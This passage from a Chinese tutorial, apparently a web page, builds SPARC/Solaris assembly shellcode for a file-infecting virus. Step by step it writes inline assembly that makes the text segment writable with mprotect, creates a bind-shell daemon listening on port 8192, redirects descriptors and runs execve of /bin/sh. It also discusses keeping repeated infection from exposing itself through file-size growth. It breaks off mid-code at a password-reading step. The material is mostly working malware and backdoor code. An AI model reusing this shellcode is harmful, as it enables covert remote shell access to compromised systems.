📄 382.html
字号:
--------------------------------------------------------------------------<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br> __asm__<br> ("<br> mov 0xea, %o0<br> ld [ %l7 ], %o1 ! 第二个参数s<br> clr %o2<br> clr %o3<br> clr %g1<br> ta 8<br> st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c<br> ");<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>一个更加残酷的问题摆到了革命群众的面前。Linux下有125号系统调用,<br>SPARC/Solaris呢?我在Linux的/usr/include/bits/syscall.h中大海捞针一般地找<br>到了125号系统调用的符号名SYS_mprotect,于是转回SUN下在<br>/usr/include/sys/syscall.h中查找SYS_mprotect,还好,116号系统调用就是的。<br>可入口参数呢?我怎么知道那些破破的SPARC芯片寄存器中哪个该设置成相关参数呢?<br>如果你以为革命群众已经到了最后关头,那就太不具备革命乐观主义精神了。万般无<br>奈下,我man mprotect了,呼呼,居然有东西出现,那么下面就不要废话啦,先赶快<br>提取mprotect的汇编码:<br><br>--------------------------------------------------------------------------<br>/* gcc -o test test.c */<br>#include <stdio.h><br>#include <errno.h><br>#include <sys/mman.h><br><br>int main ( int argc, char * argv[] )<br>{<br> char * buf;<br> char c;<br><br> /* 分配一块内存,拥有缺省的rw-保护 */<br> buf = ( char * )malloc( 1024 + 4096 - 1 );<br> if ( !buf )<br> {<br> perror( "Couldn't malloc( 1024 )" );<br> exit( errno );<br> }<br> /* Align to a multiple of PAGESIZE, assumed to be a power of two */<br> buf = ( char * )( ( ( unsigned long )buf + 4096 - 1 ) & ~( 4096 - 1 ) );<br> c = buf[77]; /* Read ok */<br> buf[77] = c; /* Write ok */<br> printf( "ok\n" );<br> /* Mark the buffer read-only. */<br> // 必须保证这里buf位于页边界上,否则mprotect()失败,报告无效参数 */<br> if ( mprotect( buf, 1024, PROT_READ ) )<br> {<br> perror( "\nCouldn't mprotect" );<br> exit( errno );<br> }<br> c = buf[77]; /* Read ok */<br> buf[77] = c; /* Write error, program dies on SIGSEGV */<br><br> exit( 0 );<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>[scz@ /export/home/scz/src]> gcc -o test test.c<br>[scz@ /export/home/scz/src]> ./test<br>ok<br>段错误 (core dumped) <-- -- -- 内存保护起作用了<br>[scz@ /export/home/scz/src]> <br><br>用gdb ./test看到如下入口参数:<br><br>--------------------------------------------------------------------------<br>0x10bc4 <main+152>: ld [ %fp + -20 ], %o0<br>0x10bc8 <main+156>: mov 0x400, %o1<br>0x10bcc <main+160>: mov 1, %o2<br>0x10bd0 <main+164>: call 0x21874 <mprotect><br>0x10bd4 <main+168>: nop <br>--------------------------------------------------------------------------<br><br>同样,并不直接使用mprotect系统调用,依旧采用syscall的方式,我们编写如下代<br>码:<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br> __asm__<br> ("<br> mov 0x74, %o0 ! 第一个参数116<br> sethi %hi(0x10000), %o1 ! 第二参数,起始地址<br> sethi %hi(0x00002000), %o2 ! 第三个参数8096<br> mov 0x07, %o3 ! 第四个参数7,rwx<br> clr %g1<br> ta 8<br> ! call . ! 用于调试,设置个无限循环,然后用pmap观察<br> ! nop<br> ");<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>别看目前代码这样清晰明了,可是费了不少手脚。关键需要注意的地方是起始地址必<br>须位于页边界上,将来我们可以取得_start之后与一个0xffff0000。甚至再简单点,<br>直接就使用上面这段代码,据我观察很多应用程序的_start都在0x10000到0x20000之<br>间。其次,这里想到了另外一个问题,6.c和7.c在文本段中只设置了4096字节的可读<br>可写区域,所以重复感染的次数不能太多,即使设置了4*4096字节的可读可写区域,<br>也不能重复感染太多次,否则就会出现段溢出错误,因为可能对只读内存区域进行了<br>写操作;再说重复感染多次,文件尺寸的激增也容易暴露,没有必要。我们这里姑且<br>先固定地使用0x10000做起始地址,回头打印一下通过程序找到的文本段起始地址,<br>看看是否符合页边界对齐的要求,如果符合,就可以动态设置起始地址。再说吧,<br>SPARC下罗嗦了许多。<br><br>我们可以整合出一个daemon,这个daemon监听8192端口:<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br> __asm__<br> ("<br> mov 0x74, %o0 ! 第一个参数116<br> sethi %hi(0x10000), %o1 ! 第二参数,起始地址<br> sethi %hi(0x00002000), %o2 ! 第三个参数8096<br> mov 0x07, %o3 ! 第四个参数7,rwx<br> clr %g1<br> ta 8<br> bn,a .-4 ! 跳转去执行call .-4指令<br> bn,a .-4 ! 跳转去执行nop<br> call .-4 ! 跳转去执行前面这条bn,a .-4指令<br> nop ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次<br> add %o7, 172, %l7 ! %o7 + 172 指向本段代码尾部<br> mov 0xe6, %o0<br> mov 0x02, %o1<br> mov 0x02, %o2<br> mov 0x06, %o3<br> clr %g1<br> ta 8<br> st %o0, [ %l7 ] ! [ %l7 ]存放s<br> mov 2, %o1<br> sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family<br> clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr<br> sethi %hi(0x2000), %o1<br> sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port<br> mov 0xe8, %o0 ! 第一个参数232<br> ld [ %l7 ], %o1 ! 第二个参数s<br> mov 4, %o2<br> add %l7, %o2, %o2 ! 第三个参数&serv_addr<br> mov 0x10, %o3 ! 最后一个参数16<br> clr %g1<br> ta 8<br> mov 0xe9, %o0 ! 第一个参数233<br> ld [ %l7 ], %o1 ! 第二个参数s<br> mov 0x01, %o2 ! 第三个参数1<br> clr %g1<br> ta 8<br> mov 0x30, %o0<br> mov 0x12, %o1<br> mov 0x01, %o2<br> clr %g1<br> ta 8<br> mov 0xea, %o0<br> ld [ %l7 ], %o1 ! 第二个参数s<br> clr %o2<br> clr %o3<br> clr %g1<br> ta 8<br> st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c<br>exit:<br> mov 0x01, %o0<br> clr %o1<br> clr %g1<br> ta 8<br> .ascii \"xxxxxxxx\"<br> .ascii \"xxxxxxxx\"<br> .ascii \"xxxxxxxx\"<br> .ascii \"xxxxxxxx\"<br> ");<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>这段代码仅仅演示了很重要的两个部分,一个是设置文本段可写,一个是成功创建套<br>接字并阻塞在accept()系统调用处,一旦有入连接,程序就正常终止了。幸运的是,<br>在经历了太多磨难后,SPARC没有继续为难我们,一切按照预想的发展。<br><br>编写syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ):<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br> __asm__<br> ("<br> mov 0x06, %o0 ! 第一个参数6<br> ld [ %l7 ], %o1 ! 第二个参数s<br> clr %g1<br> ta 8<br> mov 0x3e, %o0 ! 第一个参数62<br> ld [ %l7 + 4 ], %o1 ! 第二个参数c<br> mov 0x09, %o2<br> clr %o3<br> clr %g1<br> ta 8<br> mov 0x06, %o0 ! 第一个参数6<br> ld [ %l7 + 4 ], %o1 ! 第二个参数c<br> clr %g1<br> ta 8<br> ");<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>还有一个更烦人的execve( name[0], name, 0 ),可以从<br><< solaris for sparc下shellcode的编写(三) >>中偷一些代码过来:<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br> __asm__<br> ("<br> sethi 0xbd89a, %l4 ! sethi %hi(0x2f626800), %l4<br> or %l4, 0x16e, %l4<br> sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5<br> and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh<br> add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针<br> xor %o2, %o2, %o2 ! %o2寄存器清零<br> add %sp, 16, %sp ! 留出存储空间<br> std %l4, [%sp - 16] ! 存放字符串<br> st %o0, [%sp - 8] ! 存放字符串指针<br> st %g0, [%sp - 4] ! %g0总是为0<br> mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中<br> ta 8 ! 执行中断指令ta 8(execve()完成)<br> ");<br>} /* end of main */<br>--------------------------------------------------------------------------<br><br>最后研究一下syscall( 3, c, pass, 8 ):<br><br>--------------------------------------------------------------------------<br>0x1033c <main+392>: mov 3, %o0<br>0x10340 <main+396>: ld [ %o1 + 0x1b0 ], %o1<br>0x10344 <main+400>: sethi %hi(0x26400), %o3<br>0x10348 <main+404>: or %o3, 0x158, %o2 ! 0x26558 <pass><br>0x1034c <main+408>: mov 8, %o3<br>0x10350 <main+412>: call 0x10fec <syscall><br>0x10354 <main+416>: nop <br>--------------------------------------------------------------------------<br><br>分析后提炼如下:<br><br>--------------------------------------------------------------------------<br>/* gcc -o asm asm.c */<br>int main ( int argc, char * argv[] )<br>{<br> __asm__<br> ("<br>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -